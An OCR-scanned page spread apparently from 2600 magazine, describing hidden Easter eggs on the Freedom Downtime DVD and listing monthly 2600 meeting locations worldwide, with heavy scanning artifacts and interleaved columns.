In addition, if you look real ly carefully at the sign to the right of the 
guy reading the Free Kev i n  leaflet i n  the hidden s u btitle menu,  you' l l  
see the follow i n g :  " If yo u  can read this,  you are standing too close 
to your TV." 

Audio Menu 
Ironical ly,  th is is the on ly  s i l e n t  m e n u .  However, that c h a n g e s  if  you leave 
the menu onscreen for about two m i n utes. You ' l l  be surprised by some 
bloodcurdl ing screams. 

Hidden Audio Menu 
I n  the audio menu, c l ick Left,  Left,  R ight ,  and Enter and you wi l l  see the 
f loating head of George W. Bush with red eyes (actual ly  the eyes from 
HAL i n  200 1 :  A Space Odyssey). (On most computers you wil l  also get 
here by cl icking on E m m a n u e l 's hand.) E ight  computerized voices wi l l  in­
troduce themselves as the cast used i n  the hidden th i rd audio track. 
When they're done you wil l  be deposited into a new menu where you 
have the option of turning "Computer Assisted Dialog" o n .  (This menu 
also has the music that was missing from the marn audio m e n u . )  I f  you 
turn this feature on and play the film you will hear the entire audio track 
read by a variety of synthesized voices. 
(This additional audio track can be accessed by hitting the audio 
button o n  the DVD player remote unit  unt i l  the desired select ion is 
reached.) 

The Fourth Track 
This track is only accessib le by hitt ing the audiO button on the DVD 
player remote unit .  It's completely s i lent except for two spots. At around 
13 m i nutes i n  you' l l  hear a voice say " Hey, that's me!"  and dur ing the 
clOSing credits you' l l  hear the same voice say "That's my name." That's 
the voice of Dave Buchwald,  who produced the DVD and couldn't resist 
encoding two hours of v i rtual  si lence to further h is  message. 

Raccoon Video 
I f  you g o  to the C hapters and cl ick o n  selection 29-30 three times, the 
video and audio will reverse. I f  you then click o n  clOSing credits, you' l l  
see video footage of a raccoon eat ing cat food Inside a house. This was 
an incident referred to o n  the second edit ion of Off The Wall i n  2003.  

Disc Number Two 
M a i n  Menu 

Wait  8 . 5  m i n utes and you ' l l  see a specia l  Kl ingon greeting welcoming 

Kevin back to the free world.  This was recorded al the Star Trek ride i n  

L a s  Vegas with effects added. 

I f  you cl ick o n  " P l ay Fi lm" you' l l  get what looks and sounds l ike a Mac er­

ror complete with a Fifth HOPE logo. The laughter comes from " E at 

Chicken and D i e , "  a recording from the 1 9805 that was featu red on early 

radio shows. 

Chapter Menus 
T h e  background o n  the e x t r a  footage chapter menus is a model of a Va r­

Ian ship from the televiSIon series Babylon 5 as seen i n  the Foundation 

Imaging offices 

Extra Footage 
All of the hidden extra rootage is comprised of people cong ratu lat ing 

Kevin for a variety of achievements, not one of which is  true.  (This was 

i nspired by a Canadian television show cal led Talking to Americans. 

Open the Chapters men u .  Hit 1 3 - 1 8  tWice. Cl ick down. The word "Extra" 

wi l l  l ight .  C l ick on i t .  The fol lowing four selections wi l l  randomly play:  

.On being elected mayor of Las Vegas 

(a passerby In front of the New York, New York Hotel in Las Vegas) 

.On your first rodeo win 

(the cast of the Gunfight at the OK Corral recreation in Tombstone. AZ) 

.On having your first cup of coffee 

(staff at a Starbucks somewhere in the South) 

.On skateboarding across Alaska 

(a guy In front of Cody's Books in Berkeley, CAl 

Open the C hapters m e n u .  Hit 25-30 twice. Select either 28 o r  29 and the 

n u m ber "20" wi l l  l ight  u p  o n  the Varian ship .  (The DVD came out d u ring 

2600's 20th anniversary.) Move to the r ight and select  the 20.  The fol low­

ing four selections wi l l  randomly play: 

.On teaChing sign language to a bear (people a t  the San Diego Zoo) 

.Nobody really knows (a drunk guy outside a sushi place In Los Angeles) 

.For unlocking the genetic code (the waltstaff at Sportsbar In Raleigh. NC) 

.On scaling Mount Everest 

(a condor tracker at the top of the Grand Canyon) 

(egg within an egg. KeVin Mitnick's handle used to be The Condor) 

Open the Chapters m e n u .  Hit 37-40 two t imes (three on some players ) .  

T h e  menu wi l l  become i nverted. Select 40. T h e  fol lowing f o u r  selections 

wil l  randomly play: 

.Happy 100th birthday 

(the confused staff of a Vietnamese restaurant in Poughkeepsie, NY) 

.On breaking the fOlir minute mile 

(a waiter at the Cafe Ou Monde in New Orleans) 

.On becoming a paratrooper 

(the ticket agent at the Grand Canyon train station) 

.On winning the Nobel Prize in Mathematics (a student at U.C. Berkeley) 

(subtle humor - there is no Nobel Prize in Mathematics for some reason) 

There's also a whole story l i n e  behind the extra footage narrative. The 

date is  Wednesday, March 3rd, 2004. Emmanuel Goldstein is sitt ing o n  a 

bench in  a park In  New York City at the crack of dawn read ing a copy of 

The New York Times. The story he's looking for turns out  to be I n  the 

Washington Post instead so h e  travels a l l  the way to Washington DC 

(With stops i n  Phi ladelphia and Balt imore) to get a copy of that paper and 

return to New York by eve n i n g .  The progress of the journey unfolds as 

chapters of Freedom Downtime extra footage are introduced. And,  if you 

l isten to that day's edit ion of Off The Hook, you wi l l  even hear a story 

from that day's Washington Post - al most as if the events actual ly  tran­

spired as documented. This is ,  of course, i m possi b l e .  

That's a l l  we can possib ly  cram i nto this page.  But there are some 
additional detai l s  we' l l  post  o n  www.1reedomdowntime.com. 
If you're not the w i nner, you can sti l l  impress your n o n-260D-reading 
fr iends by showing off  the above whi le playing your copy of Free­
dom Downtime. Don't have a copy? Well, what are you waiting for? ! 
Go to o u r  onl ine store at store.2600.com and pick up a copy or send 
$30 ($35 overseas) 10 2600, PO Box 752, M iddle Island, NY 1 1 953 
USA. 
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Ali\iEI"TINA 
Buenos Aif'as:c!,'tthe bar at San Jose 
05. 

AUSTRAUA 
AdelaIde: At the P3yphones near the 
Academy Cinema on Pu lteney 51. 
e pm. 
Brisbane: Hungry Jacks on the 
Queen 51. Mal l  ( R H S ,  opposite Info 
Booth) .  7 pm. 
Canberra : KC's Virtual Reality Cafe, 
11 East RW, Civic. 7 pm. 
Melbourne: Caffeine at Revault bar, 
16 Swanston SI. ,  near Melbourne 
Central Shopping Centre. 6 :30 pm. 
Perth : The Merchant Tea and Coffee 
House, 1 83 M u rray 81. 6 pm. 
Sydney: The Crystal Palace, front 
bar/bistro, opposite the bus station 
area on George SI.  at Central Station. 
6 pm .  

AUSTRIA 
Graz: Cafe Haltestelle on Jakomini­
platz 

BRAZIL 
Belo Horizonte: Pelego's Bar at As­
sufeng, near the payphone. 6 pm. 

CANADA 
Alberta 

Calgary: Eau Claire Market food court 
by the bland yellow wall. 6 pm.  

British Columbia 
Nanaimo: n m  Horton's at Comox & 
Wallace. 7 pm.  
Vancouver: Pacific Centre Mall Food 
Court. 
Victoria: QV Bakery and Cafe, 1 701 
Government St .  

Manitoba 
Winnipeg: St. Vital Shopping Centre, 
food court by HMV. 

New Brunswick 
Moncton:  Ground Zero Networks In­
ternet Cafe, 720 Main S1. 7 pm. 

Ontario 
Barrie: William's Coffee Pub,  505 
Bryne Drive. 7 pm. 
Guelph : Wil l iam's Coffee Pub,  492 
Edinbourgh Road South. 7 pm.  
Ottawa: World Exchange Plaza,  1 1 1  
Albert St. , second floor. 6:30 pm.  
Toronto: Future Bakery, 483 Bloor St .  
West. 
Waterloo: Will iam's Coffee Pub, 1 70 
U niversity Ave. West. 7 pm.  
Windsor:  U niversity of Windsor, CAW 
Student Center commons area by the 
large window. 7 pm.  

Quebec 
Montreal :  Bell Amphitheatre, 1 000, 
rue de la Gauchetiere. 

CHINA 

FINLAND 
Helsinki :  Fenniakortteli food court 
(Vuorikatu 1 4) .  

FRANCE 
Avlgnon: Bo.ttom of Rue de la Re­
publique 10 front of the fountain with 
the flowers. 7 p m .  
Grenoble: Eve, campus of St. Martin 
d'Hares. 
Paris: Place de la Republique, near 
the (empty) fountain. 6 pm. 
Rennes: I n  front of the store "Blue 
Box" close to the place of the Repub­
lic. 7 pm .  

G R EECE 
Athens: Outside the bookstore Pa­
paswtiriou on the corner of Patision 
and Stournari. 7 pm. 

IRELAND 
Dublin :  At the phone booths on Wick­
low S1. beside Tower Records. 7 pm.  

ITALY 
Milan:  Piazza Loreto in front of Mc-
Donalds. 

JAPAN 
Tokyo: Linux Cafe in  Aki habara dis­
trict. 6 pm.  

NEW ZEALAND 
Auckland: London Bar, upstairs, 
Wellesley St., Auckland Central. 
5:30 pm. 
Christchurch : Java Cafe, corner of 
High S1. and Manchester S1 .  6 pm. 
Wellington: Load Cafe in  Cuba Mal l .  
6 pm. 

NORWAY 
Oslo: Oslo Sentral Train Station. 
7 pm. 
Tromsoe: The upper floor at Blaa 
Rock Cafe, Strandgata 1 4 .  6 pm. 
Trondheim: Rick's Cafe i n  Nor­
dregate. 6 p m .  

PERU 
Lima: Barbilonia (ex Apu Bar) ,  en AI­
canfores 455, Mi raflores, at the end of 
Tarata St. 8 pm.  

SCOTLAND 
Glasgow: Central Station, payphones 
next to Platform 1 .  7 pm. 

SLOVAKIA 
Presov City: Kelt Pub. 6 pm. 

SOUTH AFRICA 
Johannesburg (Sandlon City): 
Sandton food court. 6:30 pm. 

SWEDEN 
Gothenburg: Outside Vani l j .  6 pm. 
Stockholm: Outside Lava. 

SWITZERLAND 
Lausanne: I n  front of the MacDo be­
side the train stat ion.  

U NITED STATES 
Alabama 

Hong Kong: Pacific Coffee in  Festival Auburn: The student lounge upstairs 
Walk, Kowloon Tong.  7 pm. i n  the Fay Union Building. 7 pm. 

CZECH REPUBLIC Huntsville: Madison Square Mall  in  
Prague: Legenda pub.  6 pm. the food court near McDonald's. 

DENMARK Tuscaloosa: McFarland Mall food 
Aalborg: Fast Eddie's pool hal l .  court near the front entrance. 
Aarhus: I n  the far corner of the DSB Arizona 
cafe i n  the railway station. Phoenix (Tempe): UAT, 2625 W. 
Copenhagen : Cafe Blasen.  Basel ine Rd.  
Sonderborg : Cafe Druen. 7:30 pm.  Tucson : Borders i n  the Park Mal l .  

EGYPT 7 pm. 
Port Said: At the foot of the Obelisk 
(E I  Missal lah) ,  

ENGLAND 
Brighto n :  At the phone boxes by the 
Sealife Centre (across the road from 
the Palace Pier) . 7 pm. Payphone: 
(01 273) 606674. 
Exeter: At the payphones, Bedford 
Square. 7 p m .  
Hampshire: Outside the G u i ldhal l ,  
Portsmouth. 
Hull: The Old Gray Mare Pub,  Cott ing­
ham Road, opposite Hul l  University. 
7 pm .  
London: Trocadero Shopping Center 
(near Piccadi l ly  Circus), lowest level. 
6:30 pm. 
Manchester: The Green Room on 
Whitworth S1. 7 pm.  
Norwich:  Borders entrance to 
Chapelfield Mal l .  6 pm.  
Reading:  Afro Bar ,  Merchants Place, 
off Friar S1. 6 pm. 

Cal ifornia 
Los Angeles: Union Station,  corner of 
Macy & Alameda. I nside main en­
trance by bank of phones. Payphones: 
(213) 972-95 1 9 ,  9520; 625-9923, 
9924; 6 1 3-9704, 9746. 
Monterey: Morgan's Coffee & Tea, 
498 Washington S1. 
Orange County ( Lake Forest): 
Diedrich Coffee, 22621 Lake Forest 
Drive. 8 pm.  
Sacramento : Camil le 's at  the corner 
of Sun rise and Madison. 
San Diego: Regents Pizza, 4 1 50 Re­
gents Park Row #1 70. 
San Francisco: 4 Embarcadero Plaza 
( inside) .  Payphones: (415) 398-9803, 
9804, 9805, 9806. 
San Jose: Outside the cafe at the 
MLK Library at 4th and E .  San Fer­
nando. 6 pm. 
Santa Barbara: Cafe Siena on State 
81. 

Colorado 
Boulder; Wing Zone food court, 1 3th 
and College. 6 pm_ 
Oen�: Borders Cafe. Parker and 
Arapahoe. 

District of Columbia 
Arlington : Pentagon City Man in the 
food court (near Au Bon Pain). 6 pm. 

Florida 
Ft_ Lauderdale: Broward Mall i n  the 
food court. 6 pm. 
Gainesville: I n  the back of the U n iver­
sity of Florida's Reitz Union food cour1. 
6 pm .  
Orlando: Fashion Square Mal l  Food 
Court between Hovan Gou rmet and 
Manchu Wok. 6 pm.  
Tampa: U niversity Mall  in  the back of  
the food court on the 2nd floor. 6 pm. 

Georgia 
Atlanta : Lenox Mall food court. 7 pm. 

Idaho 
Boise: BSU Student Union Bui ld ing,  
upstairs from the main entrance. Pay­
phones: (208) 342-9700, 9701 . 
Pocatello: College Market, 604 South 
81h 81. 

I l l inois 
Chicago: Neighborhood Boys and 
Gir ls Club,  2501 W. Irving Park Rd.  
7 pm.  

Indiana 
Evansville: Barnes and Noble cafe at 
624 S Green River Rd.  
Ft. Wayne: Glenbrook Mall  food court 
i n  front of Sbarro's. 6 pm. 
Indianapolis: Corner Coffee, SW cor­
ner of 11 th and Alabama. 
South Bend (Mishawaka):  Barnes 
and Noble cafe, 4601 Grape Rd. 

Kansas 
Kansas City (Overland Park): Oak 
Park Mall food court. 
Wichita: Riverside Perk, 1 1 44 Bitting 
Ave. 

Louisiana 
Baton Rouge: I n  the LSU Union 
Bui ld ing,  between the Tiger Pause & 
McDonald's. 
New Orleans: Cafe Envie in  the 

New York 
New York: Citigroup Center, in the 
lobby, near the payphones, 1 53 E 5�rd 
St. , between leXi ngton & �rd, 

North Carolina 
Ch�rlUtte: South Park Mall food court. 
7 pm. 
Raleig h :  Bit Players' Lounge, 745 W. 
Johnson Sf.' 

North Dakota 
Fargo: West Acres Mall food court by 
the Taco John's.  

Ohio 
Cincinnati : The Brew House, 1 047 
East McMil lan.  7 pm. 
Cleveland:  U niversity Circle Arabica, 
1 1 300 J u n iper Rd.  Upstairs, turn right, 
second room on left. 
Dayton: At the Marions behind the 
Dayton Mal l .  

Oklahoma 
Oklahoma City: Cafe Bella, southeast 
corner of SW 89th S1. and Penn.  
Tulsa: Java Dave's Coffee Shop on 
8 1 st and Harvard. 

Oregon 
Portland: Backspace Cafe, 1 1 5  NW 
5th Ave. 6 pm.  

Pennsylvania 
Allentown: Panera Bread, 3 1 00 West 
nlghman S1. 6 pm. 
Philadelphia: 30th St. Stat ion,  under 
Stairwell  7 sign, 
Pittsburg h :  Will iam Pitt Union bui lding 
on the U niversity of Pittsburgh campus 
by the Bigelow Blvd. entrance. 

South Carolina 
Charleston: Northwoods Mal l  i n  the 
hal l  between Sears and Chik-Fi l -A.  

South Dakota 
Sioux Falls: Empire Mall, by Burger 
King.  

Tennessee 

French Quarter at 1 24 1  Decatur Street Knoxville: Borders Books Cafe across 
(all the corner of Decatur and Bar- from Westown Mal l .  
racks).  6 pm.  Memphis:  Java Cabana. 6 pm.  

Maine Nashville: J-J's Market, 1 9 1 2  Broad-������d�
o
��i���

.
a l l  by the bench at way. 6 pm.  

Maryland 
Baltimore: Barnes & Noble cafe at the 
Inner Harbor 

Massachusetts 
Boston:  Prudential Center Plaza, ter­
race food court at the tables near the 
wi ndows. 6 pm.  
Marlborough: Solomon Park Mal l  
food court. 
Northampton:  Javanet Cafe across 
from Polaski Park. 

Michigan 
Ann Arbor: The Galleria on South 
University. 

Minnesota 
Bloomington : Mall of America, north 
side food court, across from Burger 
King & the bank of payphones that 
don't take incoming calls. 

Missouri 
Kansas City (Independence): Barnes 
& Noble, 1 9 1 20 East 39th S1. 
St_ Louis (Maryland Heights): Rivalz 
Technology Cafe, 1 1 502 Dorsett Road. 
Springfield :  Borders Books and Music 
coffeeshop, 3300 South Glenstone 
Ave . ,  one block south of Battlefield 
Mall. 5:30 p m .  

Nebraska 
Omaha: Crossroads Mall Food Court. 
7 pm .  

Nevada 
Las Vegas: Palms Casino food court. 
8 pm. 

New Mexico 
Albuquerque: University of New Mex­
ico Student Union Building (plaza 
"lower" level lounge), main campus. 
Payphones: 505-843-9033, 505-843-
9034. 5:30 pm. 

Texas 
Austin:  Dobie Mall food court. 6 p m .  
Dallas: Taco Cabana on Preston Rd.  
just north of Campbell .  
Housto n :  Ninfa's Express in  front of 
Nordstrom's in  the Galleria Mal l .  
San Antonio: North Star Mall  food 
court. 

Utah 
Salt Lake City: ZCMI Mall in  The Park 
Food Court. 

Vermont 
Burlington: Borders Books at Church 
S1. and Cherry S1. on the second floor 
of the cafe. 

Virginia 
Arlington : (see District of Columbia) 
Virginia Beac h :  Lynnhaven Mal l  on 
Lyn n haven Parkway. 6 pm.  

Washington 
Seattle: Washington State Convention 
Center. 6 pm. 

Wisconsin 
Madison : Union South (227 N .  Ran­
dall Ave . )  on the lower level i n  the Mar­
tin Luther King Jr. Lounge. Payphone:  
(608) 251 -9909. 
Milwaukee: The Node, 1 504 E .  North 
Ave. 

Al l  meetings take place on the first Fri­
day 01 the month. Unless otherwise 
noted, they start at 5 pm local time. To 
start a meeting in  your city, send email  
to meeti ngs@ 2600.com . 
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